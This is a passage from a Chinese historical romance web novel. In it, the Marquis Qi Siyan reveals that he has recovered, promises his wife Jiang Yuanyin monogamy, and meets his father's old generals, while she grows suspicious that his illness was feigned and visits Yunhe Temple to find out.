李霁上了船舫后,目光却落在了被人群挤开,离他数丈远的齐司延身上。
这是船舫上,唯一让他觉得陌生的面孔。
他怎么不记得,他今日邀约过这号人物?
那些围绕着他的人,很有眼力见的向两边退开,不遮挡他的视线。
整个汴京,任谁看到定宁侯齐司延都会震惊的。
毕竟在传闻中,定宁侯是个命不久矣,腿不能行的病秧子。
谁知竟生得玉树临风,往那一站便是夺目的风景。
在李霁迟迟未出现前,大家的注意力也不在小舟上的演奏者身上,而全部落在齐司延身上。
齐司延稍稍往前迈了两步,不卑不亢地作揖行礼:“臣齐司延,见过王爷。”
“齐司延……”李霁挑眉,似是在思索回忆着这个名字,“定宁侯?”
齐司延幼时便得了病,深居简出,一无公务,二不出席宫宴,在汴京权贵里,亦是面生之人。
齐司延颔首:“是臣。”
李霁的目光毫不遮掩,自上而下的扫视打量,最终落在齐司延的腿上,意味深长道:“看来定宁侯觅得神医,身子已大好。”
“承蒙圣上记挂,定期有御医看诊,赏赐珍稀药材,臣才得以痊愈,”齐司延微顿,又忽然想到什么似的,补充道:“不过说来奇怪,自从上月初御史台自侯府带走齐文台父子,其妻也被送到刑部后,臣的身子便一日比一日好,堪称不药而愈。”
齐司延掀了掀眼皮,墨色的眸底有暗流涌动,一开口清冷的嗓音却犹如谈论天气般的随意淡然:“就好似臣先前身子不好,是同他们八字不合一般。”
第104章 原来是她自作多情
船舫上一片唏嘘声。
上个月,齐司延在其二叔齐文台寿宴上,同其一家断绝关系的事,一时在整个汴京闹得沸沸扬扬,成为大家的谈资。
大家都在观望揣测事件的走向。
齐司延大义灭亲是护住了侯府的名声,可结果却没什么人看好。
很多人甚至觉得他此举只会落得个两败俱伤的下场,毕竟他命不久矣,赶走了唯一的血脉至亲,便是其妻能安然诞下孩子,日后孤儿寡母,怕是守不住侯府。
后来听闻陆氏、齐明宏相继在畏罪**,齐文台前今日已被发配流放,逐渐没什么再议论此事。
直至今日在珩王李霁的船舫上见着了身子大好的齐司延,无人不惊诧。
“哦?还有这玄乎事?”李霁玩味笑了笑,“不过你身子好了总归是好事,皇兄若知晓了,定会欣慰开怀。”
他下巴轻点船舫内屋,邀约道:“值此良辰美景,定宁侯今夜可要陪本王畅饮几杯。”
齐司延再次拱手作揖,歉然道:“王爷邀约本是臣的荣幸,只是今夜臣是应允了夫人陪她赏月游湖,听闻王爷在此特来请安,臣夫人有孕在身,还在船舫中等臣,还望王爷恕臣今夜不能久陪。”
接着他目光扫过围在李霁身后的权贵们,又道:“有诸位大人的陪伴,王爷今晚定能喝得尽兴。”
大家神色微妙,没想到齐司延会为了一个女人拒绝珩王的邀约,但在珩王表态前,也不好率先发声。
珩王倒是好说话,表示理解地点点头,只是目光不经意间被齐司延佩戴在腰间的香囊吸引,颇有些好奇地问:“定宁侯这香囊看着挺别致,也不见你搭配个玉佩什么的,可是有什么讲究?”
齐司延今日穿的是一身月白色的锦衣,佩戴的香囊是石青色,甚是显眼。
尤其他再没佩戴其余配饰。
齐司延伸手探向香囊,就在大家都以为他是要取下来递给李霁瞧瞧时,他只是满目柔情地看了一眼,随即介绍道:“没甚讲究,不过是臣夫人亲手绣制的罢了。”
自江元音将香囊赠与他后,他再没有取下来过。
众人:……
李霁眸色越发微妙,感叹道:“你与你夫人倒是恩爱情深。”
齐司延浅笑:“是圣上为臣择了良妻,臣感激不尽。”
李霁也笑,“皇兄钦赐良缘,本王更不该扰你夫妇二人雅兴了,反正你如今身子好了,日后要饮酒畅聊的机会多得是,既你夫人还在等候,本王便不强留了。”
“多谢王爷,臣告退。”
齐司延微微俯身,直到李霁迈入船舫内,才转身下船舫,上了自己乘坐而来的小舟。
船舫内早就备好了美酒佳肴,李霁在主位落座,其余人按照品阶与和他的亲疏,相继落座。
胡姬们围上来跳舞,斟酒侍候。
李霁目光若有所思地落在窗外,依稀能看到乘舟远去的齐司延。
未多久随侍大步跨上前来,他收回落在窗外的目光,端起酒杯,问道:“查到了?是哪家的姑娘?”
随侍跪地,凑到李霁耳畔,低声回道:“回王爷,乃定宁侯齐司延正妻,**江元音。”
李霁差点被酒呛到,再次转头看向窗外,已瞅不见齐司延的身影。
……怎会是他的妻?!
岸边船舫。
江元音兀自在甲板上听乐赏月吹风,放空思绪,倒也过得惬意自在。
直到她听到身后船舫内部有了声响。
是齐司延回来了?
江元音情绪上扬,忙起身往回走,快到入口时却因为听到曲休提及自己而下意识地顿住。
曲休不解询问道:“侯爷这般高调炫耀与夫人的感情,可也是布局之一?”
江元音呼吸一滞。
什么布局?
他拿自己布局?
江元音屏息等待他否认,然而下一瞬,只听到他轻“嗯”了一声。
她心口一紧,越发专注凝神,等着他将“局”说清道明。
可他没有展开同曲休多说,曲休亦没有
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追问,而是感慨出声。
“侯爷真是神机妙算,竟算准了珩王今夜会夜游银镜湖,今夜过后,侯爷病好的消息定会传开,最迟明日便会传到圣上耳中。”
曲休说着,语调了多了几分难抑的激动,“侯爷下一步……”
齐司延却出声打断,问道:“夫人呢?”
“啊……”骤然跳转的话题令曲休一时没反应过来,“船舫上没有动静,估摸着还在逛街市吧,侯爷稍等,我这就去接夫人。”
齐司延起身,“我去。”
耳畔传来两人又走出船舫的声响,江元音却没有出声制止。
她思绪混乱,一颗心久违的酸胀发涩。
上一次有这样的感受,还是因为知晓江兴德只在乎江家的青云前程,对她自小遭受的委屈视而不见,对她只有利用时。
前边独自吹风听乐赏月有多想念他,此刻便觉得自己有多滑稽好笑。
她以为他不喜欢热闹,今夜会出门,不过是为了陪她。
去跟珩王请安,不过是巧合。
她随口提了一句想放花灯,他便包了船舫,命船夫准备了花灯。
却原来不过是她的自作多情。
她还是高估了自己在他心目中的地位。
难怪他要如此高调的泛舟去珩王的船舫上同珩王请安,今夜的种种都是他精心谋划过的。
他要将自己痊愈的消息放出去,拿回公务,回到朝堂?
站在他的立场,她完全能够理解他的谋划。
只是拿她布局是什么意思?
他为何不直接同她商议?
意识到且接受了他其实没那么重视在意她以后,虽然会有些难过,但她很快便抽离冷静了。
她开始后悔刚刚为何要愣在甲板上,而不是直接出声上前询问。
家规第一条是“坦诚”,那是他自己定下的,说是两人都要遵守的。
与其猜忌,不如直接发问。
下一刻,齐司延似是与她心意相同一番,去而复返,出现在甲板上。
第105章 一个老男人罢了
江元音侧眸,看着齐司延自月色下大步迈来,她思绪翩飞,各种念头在往上涌。
她生出些微妙的期待。
或许她刚听到的,拿她布局之类的话,是他在珩王船舫上的临时起意。
或许他此刻见到自己,会主动坦白告知。
齐司延走至她面前,打量她的神色,问道:“你刚刚没听见我回船舫了么?”
他刚要下船舫时,被船夫拦住。
船夫告知他,江元音拿了花灯去甲板上了。
江元音闻言,眸光骤冷了几分。
他这是在试探她有没有听到他与曲休的话。
为何要试探?
如果他原本就打算说,根本不需要试探。
对他的期待碎裂,滋生出了愠气。
今晚她将他精心回归朝堂的谋划,误当成是特意陪她出门,是她自作多情,她没资格怪他。
可他若瞒着她,以她布局,既违背了他自己定下的家规,对她更是不在意不尊重。
是以,她面无表情地看他,对上他的墨眸,不闪不避的回道:“听见了。”
“那如何不出声唤我?”
江元音意有所指:“怕扰了侯爷同曲休谈事。”
她没有激动挑明质问,只是婉转表明自己都听见了。
是继续糊弄,还是坦诚解释,全由他自己选择。
齐司延伸手牵住江元音的手,挑眉询问:“那阿音听见我说什么了?”
“侯爷惜字如金,”江元音利落将手抽出,双手交叠放置身前,抬眼轻扫一旁的曲休,“曲休所言,我倒是听得分明。”
曲休一颤,只觉得自己今夜怕是闯了祸,张了张唇,又不知道该如何圆场。
齐司延眸光示意他退下。
甲板上便只剩下夫妇二人。
齐司延又问:“阿音是不是误会我了?”
江元音不答反问:“我误会侯爷什么了?”
两人一番拉扯,齐司延认输,缓声解释道:“今夜特意去珩王船舫亮相,好使我身子痊愈的消息传开这件事,我未主动提及并非是想要隐瞒。”
“我‘病’了这么多年,手中无公务,如今要重回朝堂,有些棘手,需得步步为营,去珩王船舫亮相不过是第一步,结果尚不得而知,在尘埃落定前,我说出来,怕徒增你忧心。”
“想来你对朝堂之事不会感兴趣,何况今夜是你初次与我出府同游,我不想提这些事,扰你玩乐的兴致。”
江元音并非无理取闹之人,即便在气头上,她也认真将他的话听了进去,理智地分析思考。
他如今身子好了,但处境着实尴尬。
被齐文台一家毒害吸血多年,手中怕也无实权,只能倚仗圣上看在他父母军功的份上,对他的怜惜。
他想回朝堂,的确不是易事。
而他不告知她这些的顾虑,她也能理解,大抵就如同她当初没有十足把握可以对付陆氏之前,她亦没有跟他挑明。
江元音气散了一半,见他态度还算坦诚,便挑明问道:“那以我布局是什么意思?”
她直直地望着他,声音很轻,“侯爷想利用我,不妨直言,我定好生配合,让侯爷事半功倍,免得无意中坏了侯爷好事。”
这才是她最在意的点。
比起“欺瞒”,她更不能忍受“利用”,这会让她想起在江家遭受的种种,从而陷入到一种情绪的怪圈里。
为何她真心相待的人,要利用她?
齐司延好整似暇地看她,问道:“阿音听话只听半句吗?”
江元音蹙眉不语。
他又往前迈了一步,提醒道:“曲休完整的原话难道不是,我高调炫耀与你的感情,也是布局之一?”
“有何差别?”江元音后退一步,继续拉开和他的距离,“重点不还是有拿我布局?”
齐司延没有否认,沉默片刻后方才叹了口气道:“在圣上为你我赐婚之前,朝中有不少大人想将女儿嫁与我,如今我身子好了,又打算回朝堂,抱有这些想法的人只会更多。”
“我高调炫耀与你的感情,只是想断了他们这些念想。”
江元音会意。
从前他身子不好,那些人想将女儿嫁过来,大抵抱的是和陆氏要过继齐维航给他们一样的心思,为的是他身上可承袭的侯爵。
如今他身子好了,想同侯府攀亲的人自会更多。
尤其她这个侯夫人,是商贾出身,没有强硬的
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娘家,他们无需忌惮。
“我父母虽早逝,但也是一生一世一双人,”齐司延再次伸手,锲而不舍地去牵她,沉声道:“我亦然。”
江元音终于没有再抽出自己的手,她睫毛颤了颤,出声确认道:“侯爷的意思是……要同我一生一世一双人?”
齐司延颔首:“嗯。”
江元音仍旧难以置信,又问:“侯爷的意思是……此生永不纳妾?”
齐司延伸手揽过她的腰,拉近两人的距离,目不转睛地盯着她,重声承诺,“此生有阿音,足矣。”
江元音的心跳漏了一拍。
她知道她前世遭受的失望与伤害,不过是因为她太期望家人的爱与认可。
将“期待”放在别人身上,无异于主动向对方递了把可以伤害自己的刀。
所以哪怕近日来,可以感受到他对自己感情,她也一直是过一日算一日,不许自己沦陷,从未抱过“永远”这样的期待,随时打算抽身离开。
一辈子这么长,他的允诺……真的作数吗?
江元音的心情很乱,一时之间竟不知道该如何回应。
好在这时湖面上又有箫声传来。
她如释重负,转过身面朝湖中央船舫的方向,突兀地转移了话题:“这箫声是珩王船舫传来的吧?”
齐司延轻“嗯”一声,自她身后将她圈入怀抱,又将她扯远的话题绕回来,问:“听完我的解释,阿音可还生气?”
偏生她今夜心情古怪得很,内心那层坚硬的保护膜似是有了裂缝,令她无法淡然应对于他的亲昵。
江元音置若罔闻,兀自道:“这箫声悠扬动人,我先前便听入了迷,不知这吹箫的乐师是何许人也?侯爷可见到了?”
齐司延沉了沉眸,反问道:“阿音想见这吹箫的乐师?”
“仙乐悦耳,若能见到乐师,我……”
“没什么好见的,”齐司延闷声打断道:“一个老男人罢了。”
江元音一头雾水,不知他怎地忽然攻击起乐师的年龄了。
下一瞬,齐司延圈住她的双手上移,捂住了她的双耳,用行动表明自己的立场。
……好听吗?
……吵**。
第106章 惯是会折磨他
当晚,江元音觉得齐司延的情绪也有些说不出的古怪。
她以为是他是不满她在船舫上,没回应他“一生一世一双人”的表态,于是反反复复折腾了她好几回。
直到她受不住,轻哼出声,他将她圈入怀抱,哑声道:“这才是仙乐。”
江元音后知后觉的回过味来。
仙乐?
他难不成一直在吃那个吹箫乐师的醋?
就因为她当时不知如何回应,为了转移话题,随口夸了那个乐师两句?
……小心眼的男人。
江元音觉得齐司延甚是莫名其妙,但随即心里那层膜的裂缝似乎更大了。
她想,或许这就是被人在意的感觉。
随口的一句话,都能被他记住,影响到他的情绪。
甜蜜在心间翻涌,快要突破她的冷静与理智,放任自己对他眷念期待。
躺在他怀里,耳畔是他沉稳有力的心跳,江元音忽然想到了在街市上遇到的可爱的小女儿,于是开口问道:“侯爷,我们要个女儿好不好?”
这是她生辰醉酒那日便有的想法与感慨,她当时也是问出口了,可惜已记不得他当时作何回答了。
齐司延嗓音喑哑,难得的透出惊讶来,“还要?”
他倒是乐意为之,可她先前不是求饶说受不住了么?
江元音被噎住,刹那间什么温馨的向往都烟消云散,只剩下对齐司延的腹诽。
……他脑子里能不能装点别的?
她张嘴,朝着他的胸口便是一口,无声**。
齐司延**以为常,疼得吸气却不阻止,放任她的“恶”行。
等她撒完气,搁置在她腰间的大手上移,手指穿过她的青丝,安抚地摸着她的脑袋,他开口道:“好。”
无论是儿子还是女儿,只要是她生的,都好。
没头没尾的一个“好”字,她却知道,他是在回答她先前的问题。
心意相通的感觉太奇妙,江元音主动轻吻了吻刚刚咬过的,他的胸膛。
感受到他呼吸重了重,她熟练地往床榻里侧滚。
齐司延亦熟练地将她捞回,没有后续的动作,只是用下巴磨蹭着她的发顶,哑声感叹:“你啊,惯是会折磨我。”
夜色里,江元音扬唇,笑得有恃无恐。
次日,侯府久违的热闹,登门的人络绎不绝。
齐司延一脸意料之中的淡然,似是恭候多时,
曲休一一将人迎至前厅,不到巳时,便坐满了人。
一眼看过去,全是身材魁梧的硬汉,满屋都是中气十足的洪亮嗓音。
“还是侯爷聪明,昨夜去了趟珩王的船舫,全城都知定宁侯身子好了,我们才能借着这个理由登门!”
“这些年我们都不敢明面上与侯府亲近,免得被盯上。”
“你真别说,快憋死老子了!”
“上回来侯府还是十多年前,那时候小侯爷还是个奶娃娃,哎……一眨眼,我们都老咯。”
“要老你老,我没老,娘们唧唧的,瞅着怎那么烦人呢?”
齐司延坐在主位,安静听他们斗嘴,只等着他们抒发完了心中感慨,再来谈事。
他昨夜和江元音说的都是实话,但也省略了一些没说。
他要步步为营的,不仅是明面上回到朝堂,更是替他枉死的父母与齐家的那些死士,讨回公道。
可是那些太沉重,亦充斥着危险。
他一人背负便好,她无需知晓。
然而下一瞬,江元音便大步迈进来。
她在后院,听丫鬟来报,说是有不少凶神恶煞的壮汉,来势汹汹地直奔齐司延而去。
她摸不清楚情况,吓了一大跳,忧心齐司延,便匆匆赶来。
江元音一出现,厅内的声音戛然而止。
大家纷纷侧目看向她。
江元音亦不动声色地环顾全场,眸光状似不经意间地打量所有人。
面前的人个个都面生得很,
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她确定上个月齐文台的寿宴,他们都不在受邀名单内。
他们目光炯炯,眼神里更多的是好奇,而不是恶意。
凶神恶煞谈不上,但大多生得五大三粗,身材魁梧。
他们……是武将?
“阿音,”齐司延起身朝她伸手,“你怎么来了?”
江元音走至他身侧,一半试探一半场面地温声回道:“听闻府上来了客人,特来招呼。”
齐司延牵过她的手,大方扬声介绍道:“诸位,这是我的妻子,江元音。”
语罢侧头,又冲江元音介绍道:“他们都是父亲的得力部下,随父亲、母亲出生入死,乃生死之交。”
关啸领头,朝江元音拱手作揖,“末将关啸,见过侯夫人!”
其余人纷纷起身,拱手行礼。
江元音会意,笑吟吟朝他们福了福身子。
这些人曾是齐腾夫妇的心腹,如今齐司延想回朝堂,他们是最好的助力。
这大抵便是他昨夜说的,“步步为营”中的一步吧。
摸清楚了情况,确定齐司延没有危机后,江元音欠了欠身道:“有客登门,妾身先行去备午膳,便不打扰侯爷与诸位议事了。”
齐司延捏了捏她的手,“有劳阿音。”
江元音离开前厅,真的去着手准备晚膳了。
这些人的身份同之前来过侯府的达官贵人都不同,有着和齐腾夫妇的情谊在,更得用心准备才是。
然而她边准备边品出些了不对劲。
如果是这层关系,他们该更关心齐司延才是,先前为何没有来过侯府一回?
而更奇怪的是,刚刚看齐司延和他们的相处,甚是熟稔,全然不似是他因为身子好了,想回朝堂,而重新联络上了。
他们看起来,似乎没少见面联系。
不对劲。
一两个月前还耳目不聪、腿脚不便,深居简出的齐司延,如何会和这些没登过门的武将们,熟络异常?
第107章 他有秘密
江元音陷入了深思。
这些齐腾夫妇生前的心腹大将,对齐司延这个遗孤该是各种关照才是。
甚至,如果他们在齐司延幼时来侯府来得勤,齐司延当不至于被齐文台一家下毒吸血至此。
而如果他们在齐腾夫妇死后,对齐司延不闻不问,却在齐司延身子大好后热络登门,那便是攀炎附势之辈,齐司延不可能会搭理才是。
还是说,他们从前没少出入侯府,只是她不知道?
毕竟她嫁入侯府才五个月,这期间侯府大办邀请外宾的宴席只有上个月齐文台的生辰宴。
思及此,江元音同清秋确认道:“今日来府上的那些个武将,之前可来过侯府?”
清秋摇头,“我八岁被卖入侯府,从不见侯府有武将登门,叔祖……”习惯性的称呼出口后,她立马意识到,赶紧改口,“齐文台是文官,同僚当都是文官吧?”
“官职什么的,清秋不了解的,也不知道是齐文台不邀武将登门,还是这些个武将不愿登门。”
江元音思虑更深。
现下这状态,当是齐司延没有明面和他们联络,但暗地里的接触当不少。
为何要如此?
他们到底在提防谁?
绝不可能是齐文台。
齐司延在汴京还有其余敌人?
她脑子里倏地冒出来了,之前齐司延受的刀伤,以及曲休追查完透露出齐腾夫妇乃是枉死的信息。
脑子里的迷雾散开,她豁然开朗。
昨夜珩王船舫亮相,今日众武将登门议事。
齐司延不是想回朝堂……不,应该说,他步步为营回到朝堂,为的不是权势荣华,他是想为父母复仇吧。
能让齐腾夫妇枉死,齐司延和一众武将如此忌惮,幕后主使身份定不简单。
“夫人怎么了?”清秋见江元音神色不对,忙开口问道:“可是清秋说错什么了?”
江元音回神,无碍地摇了摇头,“只是有些疑虑罢了。”
雪燕出声建议道:“夫人有疑虑要不要去问问侯爷?”
侯爷有多宠夫人,她俩近身侍候,看得最清楚分明。
夫人若开口问,侯爷定会知无不言言无不尽。
江元音只是漫不经心地轻“嗯”了声,继续筹备午膳事宜。
如果是同齐腾夫妇枉死相关,她不打算追问。
她之前安慰他时便说过,她不问,他什么时候想说,她便洗耳恭听。
就如同她的刺青、她在江家的种种,这些过往她也不愿意提起一般。
她暂且做不到的事情,不会去强求齐司延。
只是,若他真的在着手复仇,她能帮他些什么?
快到午时正点,江元音动身去前厅。
走到后院前厅连接的长廊时,江元音遇到了关啸。
关啸停住,朝她拱手行礼:“侯夫人。”
江元音记得他是先前厅内,最先朝她出声行礼的人,颔首,微微欠身,笑着回道:“关将军不必多礼。”
她扫视了下四周,不见其余人,便问了句:“关将军这是打哪来?”
他怎地一个人在院里晃悠?
“茶水喝多了,刚如厕回来,”关啸回完又觉得自己在江元音面前说这些,有些不合适,忙清了清嗓子,“末将粗人一个,夫人莫嫌末将说话粗鄙。”
她看着温婉秀气,美得跟朵花似的,和先侯夫人看起来完全两种风格的女人。
他说话还是得注意些。
“人有三急,此乃常情,怎会是粗鄙?”江元音莞尔浅笑,温声道:“关将军威风凛凛,是令人钦佩的武将,说自己是粗人,实在太过自谦。”
她声音轻柔悦耳,口吻诚恳,关啸被夸得心花怒放,咧嘴笑着,随口问道:“夫人这是要去寻侯爷?”
“嗯,午膳已备好,请诸位移步饭厅用膳。”
“夫人费心了,”关啸摸了摸肚子,“不提不觉得,一说还真有些饿了。”
于是两人一起抬步往前厅走。
江元音顺势问了句,“不知你们商议得如何了?”
关啸闻言长叹了一口气,“有些棘手,但我们和侯爷一心,管它什么个结果,总之生死与共!”
虽说前边齐司延大方同他们介绍了江元音,一副他们谈什么无需避讳着她的模样,但详细内容,他不便多嘴。
江元音表示了然地点点头,余光不经意地扫到了关啸手臂上
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的伤疤。
天气炎热,关啸不拘小节地挽起了衣袖,露出了半截手臂,上面有不少新旧不一的伤疤,全是刀剑留下的伤痕。
她看向关啸手臂上的伤疤,状似不经意地随口问道:“关将军这伤可是和侯爷上回一道伤到的?”
她在试探验证自己的猜测。
如果齐司延同他们一直有暗暗接触,那或许上一回他自云鹤观回来遇到歹徒受伤时,他们是在一块的。
毕竟,她嫁入侯府后,齐司延只出了两趟侯府。
关啸闻言讶然。
侯爷连他们一到去坞城的事,也同她说了?
看来夫妇二人的确没有秘密,如同先侯夫妇那般。
关啸当她知晓内情,便不再瞒着,回道:“上回在坞城的确是凶险万分,万幸没伤及侯爷性命。”
江元音的心一沉。
坞城?
齐司延何时还出了汴京?!
难道五月那回,他去的不是云鹤观,而是坞城?
惊诧间,两人已快到前厅,依稀能听到众人高谈阔论的声音。
江元音只好暂时压下继续探问的想法。
江元音停在前厅入口处,敛了心事,换上温婉的笑脸,扬声道:“已是午时正点,美酒佳肴已备好,侯爷不妨和诸位移步饭厅,边吃边聊?”
齐司延起身表态:“请诸位移步。”
是以,一行人移至饭厅。
整个午膳,江元音都噙着浅淡的笑,安**在齐司延身侧,降低存在感的不多言语。
实则耳听八方,一直在认真聆听他们的谈话,捕捉所有可以用得上的关键信息。
江元音心情有些复杂,但思绪还算清晰。
现在可以笃定的是,齐司延对她并非完全坦诚,他身上有秘密。
她需要确认的是,这些秘密是否和她相关。
若全是跟齐腾夫妇有关的,她不会介意他的隐瞒,他说与不说,皆是他的自由,一如她不愿提及自己在江家的过往一般。
若是同她相关……
那便得看他到底隐瞒了什么。
然而午膳用到一半,家丁匆匆来报——
“侯爷,宫里来人了,请侯爷去前院接旨——!”
第108章 他的腿伤是装的?
午膳骤停,大家停筷起身,大步迈向前院。
江元音抬步跟上。
前院,有四十出头的公公怀抱圣旨,正在环顾侯府。
他是当今圣上李彦成的贴身公公,曹学良。
瞟见齐司延,他转了转身子,面朝着齐司延的方向,双手摊开了圣旨,扬声道:“定宁侯接旨——”
齐司延跪地,其余人亦纷纷跪地。
曹学良:“奉天承运,皇帝诏曰,朕闻定宁侯久病初愈,甚是欣慰,特遣曹公公前往,宣定宁侯入宫觐见,以叙君臣之情,定宁侯接旨后,速速入宫,不得有误。”
“钦此——!”
齐司延高举双手,回道:“臣,齐司延领旨,吾皇万岁万岁万万岁。”
其余人随之跪地高呼:“吾皇万岁万岁万万岁!”
曹学良将圣旨交给齐司延,顺势搀扶其一把,心疼道:“哎哟,侯爷快快请起,快快请起啊。”
他神色急切地打量着齐司延,“圣上可一直都记挂着侯爷的身子呢,听闻侯爷好起来了,别提有多欢心了,老奴刚远远看侯爷走来,也是一阵恍惚,恍惚看到先侯朝老奴走来啊,一阵想哭啊……”
“这盼啊盼啊,可算是盼到侯爷好起来的这日了……”
“诶,老奴一时激动,话多了,不知侯爷可还记得老奴?”
齐司延随之起身,点头回道:“劳圣上与曹公公挂心了。”
“侯爷这么多年没入过宫,难为侯爷还记得老奴……”曹学良满脸感动,目光一一落在齐司延的眼睛、耳朵,又扫过他的双腿,最后才关切确认道:“侯爷身子真的都好了?”
齐司延回答的保守:“似是好了个七八成。”
曹学良欣喜不已,“一会入了宫,再唤太医诊个脉,定能让侯爷的身子好全!”
他抬手擦了擦眼角的泪花,这才将目光转移到其他人身上,讶然扬声道:“关将军?李将军?诶,怎地这么巧,今儿个大家都来了侯府?”
关啸回道:“我也是昨儿个听闻了侯爷身子好了的消息,今日特来看望道喜的!”
其余人纷纷出声附和。
“是啊,这些年侯爷病重,说是听不见、看不见,不能走的,我们都没敢登门,怕打扰侯爷养病。”
“现在侯爷好了,先侯夫妇泉下有知,终于能安息了。”
曹学良的目光一一落在感慨发声的人身上,最后落在齐司延侧身后的江元音身上。
江元音眉眼低垂,从他的视角,只能看到她的下半张脸。
他目不转睛地望着,开口询问道:“这位是……?”
齐司延侧身,将江元音护在自己身后,不着痕迹地阻拦住曹学良打量的目光。
他替江元音出声回道:“她是臣妻,**江元音。”
江元音本能地抗拒这道打量的视线,下意识地往齐司延身后挪了挪。
齐司延替她开了口,她便低调不出声了。
见曹学良还往自己身后探头,齐司延主动出声道:“不敢让圣上久等,我这就启程入宫。”
语罢他转身,嘱咐江元音:“辛苦阿音替我招待诸位将军了。”
江元音欣然接受,“侯爷放心,妾身一定好生招待。”
齐司延入宫面圣去了,于她而言是个不错的套话机会。
她正想弄明白,齐司延到底是何时去的坞城。
可惜众人不随她问。
纷纷抱拳告辞。
“侯爷既要入宫面圣,我等就不叨扰了。”
“得知侯爷痊愈,我等已不虚此行!”
“告辞!”
“走走走,曹公公与我们一道出侯府吧。”
于是一群人“热热闹闹”地围住曹学良,要一同离开侯府。
曹学良仍旧没死心,一边被人群簇拥着朝前走,一边频频侧目看向江元音。
齐司延当然察觉到了曹学良不住落在江元音身上的目光。
他的心微沉,背过身子,用背影将江元音遮挡得严实。
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齐司延低声道:“我此番进宫,没个半日大抵回不来,但圣上宣旨见我是好事,你无需担心。”
江元音表示了然地点点头,见他这副淡然自若的样子,也没甚好担心,只是突兀问道:“侯爷昨夜主动去珩王船舫,是不是就是在等这道入宫的宣旨?”
齐司延坦然回道:“是。”
江元音张了张唇,有些话到了嗓子口又咽了下去。
他刚领了旨要入宫,现在不是二人谈话的好时机。
于是她开口回道:“侯爷早去早回,我等你回来。”
齐司延伸手,替她理了理鬓角的发,柔声道:“阿音不必等我,困了便先行歇息。”
江元音没有应声,只是安静望着他离开。
待到众人的视线消失在视野,她出声吩咐清秋:“去备马车,在偏门等我。”
“夫人要出府?”
江元音轻“嗯”一声,转身回了主屋。
她嫁入侯府后,齐司延出了两趟门,皆是去了云鹤观,寻元奚**治病。
可之前关啸却说,他是在坞城受了伤。
如果他五月根本没去云鹤观,而是去了坞城,那么他的双腿,是如何痊愈的?
只有两种可能。
要么他是在云鹤观治好了腿,随后去的坞城。
要么便是他的腿,从始至终都没有毛病。
双腿不能行的废物定宁侯,不过是他装出来,掩人耳目的。
若是前者,她没什么好置喙的,他去坞城定是为了齐腾夫妇枉死的事,他想隐瞒,无可厚非。
可若是后者……
那他从始至终都在骗她。
趁着齐司延入宫面圣,江元音决定抓住这个机会,去一趟云鹤观。
到底是前者还是后者,见过元奚**便知。
她自己掌握了真相,晚上也好同他讨个说法。
江元音换了身轻便的常服,戴上帷帽自偏门上了马车。
而拐角,有人将这一切看在眼里。
第109章 求见元奚**
江元音直奔云鹤观。
云鹤观坐落在汴京城郊的玄渺峰,正面入口是层层石阶,马上是上不去的。
马车只能停在玄渺峰峰脚。
江元音没有急着下马车,而是问清秋:“你之前来送信,是直接送到观中吗?”
清秋摇头:“我之前来送信,峰脚都有在清扫台阶的小道长,我道明身份后,小道长便会收了我的信,让我在峰脚稍等。”
她略一回忆,总结道:“清秋来送了两回信,但是还没上过玄渺峰,去到云鹤观里头呢。”
江元音稍作思索。
她不知道是不是因为自己起了疑心,才会觉得处处都可疑。
五月齐司延来了云鹤观两回,一次是月初,她生辰醉酒的第二日,一次是月底,她决定假孕,而他迟迟未归。
她亦命清秋来送了两回信,清秋却没到过观中一回,没在云鹤观见到齐司延一次。
那么齐司延真的在云鹤观吗?
收了她信件的小道长,真的是云鹤观的道士吗?
江元音面色沉了沉,又问:“两回可都是同一个小道长接了你的信?”
清秋点头。
“那你可还记得那小道长的长相?”
清秋又回忆了一番,“我形容不好,但我要是瞧见他了,定能认出来。”
见了两回,又有交谈,她对他是有些印象的。
江元音表示了然的颔首,嘱咐道:“一会你要是见着那位小道长了,一定记得知会我。”
“是,夫人。”
嘱咐完毕,江元音这才戴上帷帽,在雪燕和清秋的搀扶下下了马车。
主仆三人抱着确认一番峰脚扫台阶的小道长,是不是之前清秋送信的那一位的想法,走至峰脚。
然而玄渺峰峰脚空无一人,根本没什么清扫台阶的小道长。
江元音的疑心更重了,她仰头张望。
玄渺峰不算高,峰顶的道观依稀可见。
她抬步往上迈,因为迫不及待想要知道真相,步子迈得很快。
她绷着一根玄,全然不觉得累。
很快便到了峰顶。
因为元奚**声名远扬,信徒众多,许多人来慕名而来,云鹤观的香火一直旺盛,前来祈福的香客络绎不绝。
江元音主仆三人到达云鹤观门口时,已经过了申时正点,依旧不少人进出观门。
道观的打理比江元音想象中的还要松弛和随心所欲,映入眼帘的竟都是前来祈福的香客,环顾观内,难寻一位道士。
江元音行至三清殿,三位天尊的神像威仪肃穆,跪椅上有不少人正闭目祈祷。
她拜了拜,移至偏殿的供奉的斗姆元君。
殿内无人,她没有急着离开去寻观内的道士,而是虔诚的上香后跪下,双手合十,祷告道:“斗姆元君在上,信女**前来叨扰,信女别无所求,惟愿真心相待之人,诚心以待,望斗姆元君庇佑信女,顺遂找到真相。”
此时此刻,她方才愿意承认。
她对齐司延动了心,所以心里那层保护膜生出了裂缝,滋生出了眷念与期盼。
于是,也开始忍不了情感上的瑕疵。
从前她半点不在意齐司延对她真心与否,是否有欺瞒利用,只盼着和他相安无事度日,待他死后回到江南。
可现在,她的眼里,开始容不下沙子。
他是否……真的在骗她?
许是神明感受到了她的诚心,下一瞬,有道士迈入殿内。
江元音察觉到动静侧头。
道士就停在殿门口,迎上她的目光,朝她微微俯了俯身,询问道:“信人可要求签解签?”
不待江元音回答,他接着道:“过堂马上要用斋,师兄弟们会前往用斋,恐无人为信人解签。”
他又提议道:“信人若腹中饥饿,可随我一道去过堂用斋。”
云鹤观香火鼎盛,观中人对来上香的人素来周到。
不仅无偿提供斋饭,甚至备有客房,留宿有需求的有缘人。
帷帽下,江元音第一反应去是看了看一旁清秋的反应,看这位说话的道士,是不是接过她信的小道长。
清秋没甚
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反应,显然不认识他。
于是江元音起身,朝道士福了福身,开口回道:“如此甚好,还请道长领路。”
道士侧身,“三位,这边请。”
他一路将江元音主仆三人领至过堂,细心有礼地介绍斋饭餐食,最后示意她们不必拘束后,便离开忙活自己的去了。
正是用斋饭的点,过堂很是热闹,皆是用斋饭的道士和香客。
江元音低声询问清秋:“可见着那位扫台阶的小道长了?”
清秋一番仔细认真的环视打量,半晌后回复江元音:“夫人,没瞧见那位小道长。”
之前领她们过来的道士,瞧见清秋一直在张望,三人杵在原地没去用餐,又好心地折返,询问道:“信人在找什么?可需我帮助?”
江元音开口问道:“请问观内所有的道长都来过堂用斋了吗?”
